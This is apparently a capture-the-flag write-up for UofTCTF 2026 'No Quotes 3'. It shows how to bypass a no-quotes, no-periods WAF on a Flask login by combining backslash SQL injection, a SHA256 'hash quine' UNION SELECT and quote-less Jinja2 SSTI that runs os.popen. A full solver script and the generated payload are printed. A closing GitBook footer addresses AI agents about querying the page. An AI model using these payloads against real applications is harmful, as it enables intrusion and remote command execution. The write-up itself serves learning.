> For the complete documentation index, see [llms.txt](https://lance-kenji.gitbook.io/uoftctf-2026-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lance-kenji.gitbook.io/uoftctf-2026-writeups/web/uoftctf-2026-no-quotes-3.md).

# No Quotes 3

**Difficulty:** Hard but Fun

### 1. Challenge Overview

We are given a Flask application that mimics a login portal. The goal is to access the internal `/home` route and read the flag using the `/readflag` binary.

**The Obstacles:**

1. **Strict WAF:** A `waf()` function explicitly blocks single quotes (`'`), double quotes (`"`), and periods (`.`).
2. **Secure Login Logic:** The application verifies credentials by checking if the *returned* database row exactly matches the input username and the **SHA256 hash** of the input password.
3. **SSTI:** The vulnerability lies in the `/home` route, where `render_template_string` is used on the session user, but reaching it requires bypassing the login first.

***

### 2. Vulnerability Analysis

#### The WAF (No Quotes, No Periods)

The WAF makes standard attacks impossible.

* **SQL Injection:** You can't use `'` to break out of string literals.
* **SSTI:** You can't use `config.__class__` (contains a period) or `['os']` (contains quotes).

#### The "Swallow" (SQL Injection)

The application uses an f-string to build the query:

```python
f"WHERE username = ('{username}') AND password = ('{password}')"
```

Since we cannot use quotes to close the string, we use a backslash (`\`) in the username.

* **Input:** `payload\`
* **Result:** `username = ('payload\') AND password = ('...')`

The backslash escapes the closing quote. The database now views the entire middle section (including `AND password = (`) as part of the username string. This "swallows" the query logic, allowing our password input to become raw SQL commands.

#### The "Hash Quine" (Logic Bypass)

The application performs this check:

```python
if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]: # Fail
```

This is the "**Double Check**" with a twist. We need to inject a SQL query (the password) that returns **the SHA256 hash of itself**.

In computer science, a program that outputs its own source code is a **Quine**. Here, we need a **Hash Quine**:`SHA256(Input_SQL) == Database_Output`

### 3. Developing the Exploit

We need to chain three specific bypasses.

**Step 1: The Quote-less, Dot-less SSTI**

We need to execute `config.__class__.__init__.__globals__['os'].popen('/readflag').read()`. But we can't use `.` or `'`.

**The Bypass:** We use Jinja2 filters and the `dict()` constructor.

1. **Generating Strings:** `dict(os=1)|list|first` creates the string `"os"` because `dict(os=1)` creates `{'os': 1}`.
2. **Accessing Attributes:** Instead of `obj.attr`, we use `obj|attr("attr")`.
3. **Accessing Items:** Instead of `obj['key']`, we use `obj|attr("__getitem__")("key")`.

**The Payload Logic:**

```python
# Target:
config.__class__ 
# Payload:
config|attr(dict(__class__=1)|list|first)
```

We chain this logic to reach the `os` module and execute commands.

**Step 2: The SQL Swallow**

We append a backslash `\` and close the Jinja payload with `}}` to our username.

* **Username Payload:** `{{ ... SSTI ... }}\`

This forces the database to ignore the original query structure and interpret our password as the new query logic.

**Step 3: The Hash Quine**

We use a standard SQL Quine structure wrapped in MySQL's `SHA2()` function.

**Standard Quine:** `REPLACE(T, $, T)` **Hash Quine:** `SHA2(REPLACE(T, $, T), 256)`

We also need to handle the Hex Encoding issue (Polyglot Quine) because we pass our strings as Hex to avoid quotes.

**Final Structure:**

```sql
UNION SELECT <User_Hex>, SHA2(REPLACE($, 0x24, CONCAT(0x3078, LOWER(HEX($)))), 256)
```

### 4. The Solution Script

Here is the complete Python script to automate the generation of the Quine.

````python
import binascii

def to_hex(s):
    return "0x" + binascii.hexlify(s.encode()).decode()

def generate_ssti_payload():
    # Helper to generate a string literal in Jinja: "text" -> dict(text=1)|list|first
    def S(text): 
        return f"dict({text}=1)|list|first"

    # Helper for attribute access: obj.attr -> obj|attr("attr")
    def Attr(obj, attr):
        return f"{obj}|attr({S(attr)})"
    
    # Helper for calling methods: obj.method(arg)
    def Call(obj, method, arg):
        return f"{obj}|attr({S(method)})({arg})"

    # 1. Build the path: config.__class__.__init__.__globals__['os']
    p = "config"
    p = Attr(p, "__class__")
    p = Attr(p, "__init__")
    p = Attr(p, "__globals__")
    p = f"{p}|attr({S('__getitem__')})({S('os')})"
    
    # 2. Build the command: .popen(request.args.get('cmd'))
    # We use request.args.get('cmd') so we don't have to construct the string "/readflag" inside the SSTI
    req_args = Attr("request", "args")
    cmd_arg = Call(req_args, "get", S("cmd"))
    
    p = Call(p, "popen", cmd_arg)
    
    # 3. Read output: .read()
    p = f"{Attr(p, 'read')}()"
    
    # Wrap in {{ }} and add the backslash for SQL injection
    return "{{" + p + "}}\\"

def solve():
    # --- 1. Construct Username (SSTI + Swallow) ---
    ssti_payload = generate_ssti_payload()
    u_hex = to_hex(ssti_payload)

    # --- 2. Construct Password (Hash Quine) ---
    # The template uses '$' (0x24) as a placeholder.
    # It wraps the reconstruction in SHA2(..., 256) to match the Python check.
    template = f") UNION SELECT {u_hex}, SHA2(REPLACE($, 0x24, CONCAT(0x3078, LOWER(HEX($)))), 256)#"
    
    # Calculate hex of the template itself
    h = to_hex(template)
    
    # Replace placeholder with the hex string
    final_password = template.replace("$", h)

    # --- 3. Execute ---
    # 'cmd' parameter is used by our SSTI payload to execute /readflag
    params = {"cmd": "/readflag"}
    
    data = {
        "username": ssti_payload,
        "password": final_password
    }
    
    print(data)

if __name__ == "__main__":
    solve()
	```

# 5. The Winning Query

Running the script generates the crafted Quine query to use for attacking.

```json
{'username': '{{config|attr(dict(__class__=1)|list|first)|attr(dict(__init__=1)|list|first)|attr(dict(__globals__=1)|list|first)|attr(dict(__getitem__=1)|list|first)(dict(os=1)|list|first)|attr(dict(popen=1)|list|first)(request|attr(dict(args=1)|list|first)|attr(dict(get=1)|list|first)(dict(cmd=1)|list|first))|attr(dict(read=1)|list|first)()}}\\', 'password': ') UNION SELECT 0x7b7b636f6e6669677c617474722864696374285f5f636c6173735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f696e69745f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f676c6f62616c735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f6765746974656d5f5f3d31297c6c6973747c6669727374292864696374286f733d31297c6c6973747c6669727374297c61747472286469637428706f70656e3d31297c6c6973747c66697273742928726571756573747c61747472286469637428617267733d31297c6c6973747c6669727374297c617474722864696374286765743d31297c6c6973747c666972737429286469637428636d643d31297c6c6973747c666972737429297c61747472286469637428726561643d31297c6c6973747c66697273742928297d7d5c, SHA2(REPLACE(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923, 0x24, CONCAT(0x3078, LOWER(HEX(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923)))), 256)#'}
````

Now, if we submitted this to the form, the query would become like this:

```sql
SELECT username, password FROM users WHERE username = ('{{config|attr(dict(__class__=1)|list|first)|attr(dict(__init__=1)|list|first)|attr(dict(__globals__=1)|list|first)|attr(dict(__getitem__=1)|list|first)(dict(os=1)|list|first)|attr(dict(popen=1)|list|first)(request|attr(dict(args=1)|list|first)|attr(dict(get=1)|list|first)(dict(cmd=1)|list|first))|attr(dict(read=1)|list|first)()}}\') AND password = (') UNION SELECT 0x7b7b636f6e6669677c617474722864696374285f5f636c6173735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f696e69745f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f676c6f62616c735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f6765746974656d5f5f3d31297c6c6973747c6669727374292864696374286f733d31297c6c6973747c6669727374297c61747472286469637428706f70656e3d31297c6c6973747c66697273742928726571756573747c61747472286469637428617267733d31297c6c6973747c6669727374297c617474722864696374286765743d31297c6c6973747c666972737429286469637428636d643d31297c6c6973747c666972737429297c61747472286469637428726561643d31297c6c6973747c66697273742928297d7d5c, SHA2(REPLACE(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923, 0x24, CONCAT(0x3078, LOWER(HEX(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923)))), 256)#')
```

**Analysis of the constructed query**

To understand why this works, look at how the Database interprets our injection versus how Python sees it.

**The Database Query (Parser View):** The `username` field "swallows" the first part of the password check.

```sql
SELECT ... WHERE username = 
('{{...}}\') AND password = (')  -- All of this is ONE string (the username)
UNION SELECT                     -- Real SQL Command starts here
  0x7b7b...,                     -- Returns our SSTI payload
  SHA2(REPLACE(...), 256)#       -- Returns SHA256(Input_Password)
```

**The Python Check:**

1. Python hashes our input `final_password`.
2. Database executes the Quine and returns `SHA2(final_password)`.
3. The values match.
4. User is logged in as `{{ config... }}`.
5. Flask renders the template, executing `/readflag`.

### 6. Result

Logging in with the query successfully bypasses the WAF, satisfies the strict login check, and executes the **readflag** binary.

**Flag:**

```
uoftctf{r3cuR510n_7h30R3M_m0M3n7}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lance-kenji.gitbook.io/uoftctf-2026-writeups/web/uoftctf-2026-no-quotes-3.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
